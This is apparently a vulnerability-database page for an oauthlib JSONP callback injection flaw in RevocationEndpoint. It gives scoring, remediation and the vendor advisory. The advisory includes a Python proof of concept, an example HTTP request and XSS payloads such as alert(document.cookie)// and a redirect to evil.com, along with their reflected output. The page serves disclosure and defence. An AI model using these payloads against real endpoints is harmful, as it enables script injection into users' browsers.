Skip to main content

oauthlib CVE-2026-49264

| EUVDEUVD-2026-98834 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-29 https://github.com/oauthlib/oauthlib GHSA-hj66-6f7g-4r5v PYSEC-2026-4113
6.1
CVSS 3.1 · Vendor: https://github.com/oauthlib/oauthlib
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify client consuming JSONP revocation
  2. Delivery
    Craft callback with JS payload
  3. Exploit
    Server reflects payload verbatim
  4. Execution
    Victim browser loads script tag
  5. Impact
    Attacker code runs in client origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the authorization server to explicitly construct RevocationEndpoint with the non-default enable_jsonp=True; the callback request parameter (query or POST body) is then reflected verbatim into the response body on both success (line 81-82) and error (line 72-73) paths. Actual impact additionally requires a browser-based OAuth client that consumes this endpoint as JSONP via <script src> and where the attacker can influence the callback value (query-parameter injection, a reflected value, or a MITM downgrade), plus victim user interaction (loading the page/script). Limiting factors: enable_jsonp defaults to False so the vast majority of deployments are unaffected; exploitation is scope-changing into the client's origin, not the auth server's; UI:R user interaction is required.

Impact

This is a genuine but conditionally-gated flaw rather than a broad emergency. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1) reflects a standard reflected-XSS-style profile: network-reachable, unauthenticated on the server side, scope-changing (attacker code runs in a consuming client's origin, not the auth server's), with limited confidentiality and integrity impact and no availability impact. However, the raw vector overstates real-world reachability because it does not encode two mandatory preconditions stated in the description: (1) the deployment must explicitly set the non-default enable_jsonp=True, and (2) a legitimate client must actually consume the revocation endpoint as JSONP via <script src> AND allow attacker influence over the callback value. Those layered conditions justify assessing AC:H rather than AC:L. No EPSS score, KEV entry, or in-the-wild activity was supplied, and there is no separate weaponized exploit - only the reporter's illustrative PoC in the GitHub Security Advisory, which demonstrates payload reflection but not a full end-to-end victim compromise. Exploitation status is therefore: publicly available exploit code exists (advisory PoC), but no active exploitation is confirmed. The vendor fix is decisive - oauthlib 4.0.0 removed the JSONP feature entirely rather than merely sanitizing the callback - which both confirms the issue and signals the feature was considered obsolete. Net: real and worth patching for the small population that opted into JSONP, but not a widespread-exploitation priority; treat as low-probability, config-dependent, and rank below unauthenticated default-config network flaws.

Exploit ScenarioDerived

An OAuth deployment runs oauthlib with RevocationEndpoint(enable_jsonp=True) and a legacy JavaScript client that revokes tokens by loading the endpoint as JSONP via a <script src> whose callback name the attacker can influence (query-parameter injection or a MITM downgrade). The attacker supplies callback=alert(document.cookie)//, and because the callback is reflected verbatim with no validation, the endpoint returns syntactically valid attacker JavaScript that executes in the client application's origin. A reporter-provided PoC in the advisory confirms both the success (200) and error (401) paths reflect the payload.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 29, 2026

Reflected JavaScript injection in oauthlib's OAuth 2.0 RevocationEndpoint (CWE-79) lets an attacker who can influence the JSONP callback parameter have arbitrary JavaScript echoed back in the response body, but only on authorization servers that explicitly opt in with the non-default enable_jsonp=True. Because JSONP executes in the origin of the including page rather than the auth server, the real impact lands on browser-based OAuth clients that consume the endpoint via <script src> and where the attacker can control the callback value (query-parameter injection, a reflected value, or a MITM downgrade); this also requires victim user interaction, which is why the practical risk is assessed as conditionally gated rather than a broad emergency. Fixed upstream in oauthlib 4.0.0, which removes JSONP support entirely; no public exploit identified at time of analysis, though the upstream advisory itself ships a proof-of-concept script demonstrating the verbatim reflection.

RemediationAI

The primary fix is to upgrade to oauthlib 4.0.0, where JSONP support was removed entirely from the revocation endpoint: the enable_jsonp constructor parameter and the callback keyword argument to prepare_token_revocation_request() are gone (passing callback now raises TypeError), delivered via PR https://github.com/oauthlib/oauthlib/pull/951 and commit https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c. This is an explicitly breaking change for any client relying on JSONP revocation, so those integrations must migrate to CORS-based cross-origin requests, which are supported by all modern browsers. If immediate upgrade is not possible, stop passing enable_jsonp=True - the default is False and eliminates the vulnerable code path, at the cost of losing JSONP support for legacy browser clients. Organizations that must retain JSONP in the interim should validate the callback against a strict identifier pattern (e.g. ^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$) and discard non-matching values before response construction, and should set Content-Type: application/javascript on JSONP responses; both changes can break or reject legitimate callback names if the pattern is too restrictive. As a network-layer compensating control, strip or reject any request to the revocation endpoint containing a callback parameter at the reverse proxy or WAF, which will break legitimate JSONP consumers but cleanly removes the injection surface for non-JSONP deployments. Vendor advisory: https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v.

Affected VersionsENISA

oauthlib 0.6.1, < 4.0.0

Affected Packages

pypi oauthlib fix: 4.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

oauthlib is a Python OAuth 2.0/OpenID Connect library (CPE pkg:pip/oauthlib) whose RFC 6749 RevocationEndpoint optionally wrapped token-revocation responses in a JSONP callback. When constructed with enable_jsonp=True, both the error path (revocation.py lines 72-73) and the success path (lines 81-82) perform string formatting of request.callback directly into the JavaScript response body - callback({...}); or callback(); - with no validation that the value is a legal JavaScript function identifier. The value originates from the HTTP request's query string or POST body and is merged verbatim into _params by the Request class (oauthlib/common.py, lines 394-395), so a payload such as alert(document.cookie)// produces syntactically valid JavaScript where // comments out the trailing JSON. This is a classic CWE-79 improper-neutralization-of-input-during-web-page-generation flaw; the standard JSONP mitigation (used by jQuery, Express.js, and Google APIs) is to accept only identifiers matching a pattern like ^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$. Aggravating details in the code: the error path emits Content-Type: application/json and the success path emits no Content-Type at all, neither of which is application/javascript, so browser MIME handling of the returned script is unreliable. The unvalidated reflection has existed since the revocation endpoint was introduced in 2013 (commit da775de); the enable_jsonp gate was added in 2014 (commit b85f89a) without ever adding callback validation.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/oauthlib/oauthlib) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 4.7 MEDIUM

AC:H because two non-default preconditions (enable_jsonp on plus a JSONP-consuming client with attacker-controllable callback) must align; PR:N as the server side is unauthenticated; S:C since code runs in the client's origin; C:L/I:L, A:N.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE 4.7 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/oauthlib/oauthlib).

CVSS VectorVendor: https://github.com/oauthlib/oauthlib

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.

Details

The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.

When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:

python
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
    response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
    response_body = request.callback + '();'

The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.

There is no validation of any kind on the callback parameter:

  • No check that it is a valid JavaScript identifier
  • No whitelist of allowed characters
  • No escaping or sanitization

A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.

How the injection works:

An attacker sends a revocation request with a crafted callback value:

POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded

token=anything&callback=alert(document.cookie)//

The server responds with:

alert(document.cookie)//({"error": "invalid_client"});

This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.

Execution context and attack surface:

JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.

The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.

Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.

PoC

Requirements: Python 3.x with oauthlib installed (pip install oauthlib).

python
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator


class FailValidator(RequestValidator):
    """Auth fails -> triggers error response path (lines 72-73)."""
    def client_authentication_required(self, request, *a, **kw): return True
    def authenticate_client(self, request, *a, **kw): return False
    def authenticate_client_id(self, client_id, request, *a, **kw): return False


class PassValidator(RequestValidator):
    """Auth passes -> triggers success response path (lines 81-82)."""
    def client_authentication_required(self, request, *a, **kw): return False
    def authenticate_client_id(self, client_id, request, *a, **kw): return True
    def revoke_token(self, token, token_type_hint, request, *a, **kw): pass


payloads = [
    "alert(document.cookie)//",
    "window.location='https://evil.com/'//",
    "eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
    h, body, status = ep_fail.create_revocation_response(
        "https://auth.example.com/revoke", http_method="POST",
        body=f"token=x&callback={p}")
    assert p in body, "Payload not reflected"
    print(f"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
    h, body, status = ep_pass.create_revocation_response(
        "https://auth.example.com/revoke", http_method="POST",
        body=f"token=x&callback={p}")
    assert p in body, "Payload not reflected"
    print(f"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
    "https://auth.example.com/revoke", http_method="POST",
    body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f"  [{status}] {body}")
print("\nAll assertions passed.")

Expected output:

Error path (enable_jsonp=True, auth fails):
  [401] Content-Type: application/json  Body: alert(document.cookie)//({"error": "invalid_client"});
  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({"error": "invalid_client"});
  [401] Content-Type: application/json  Body: eval('malicious')//({"error": "invalid_client"});

Success path (enable_jsonp=True, revocation succeeds):
  [200] Content-Type: (none)  Body: alert(document.cookie)//();
  [200] Content-Type: (none)  Body: window.location='https://evil.com/'//();
  [200] Content-Type: (none)  Body: eval('malicious')//();

Control (enable_jsonp=False, default):
  [401] {"error": "invalid_client"}

All assertions passed.

Both paths reflect the attacker's payload verbatim into the response body.

Impact

Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.

Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.

The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.

Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.

Suggested fix

Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:

python
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
    if not JSONP_CALLBACK_PATTERN.match(request.callback):
        request.callback = None

This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.

As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.

Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
High
oauthlib is a very widely used Python OAuth library across web frameworks
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise Micro 5.5 Affected
SUSE Linux Enterprise Module for Basesystem 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Desktop 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy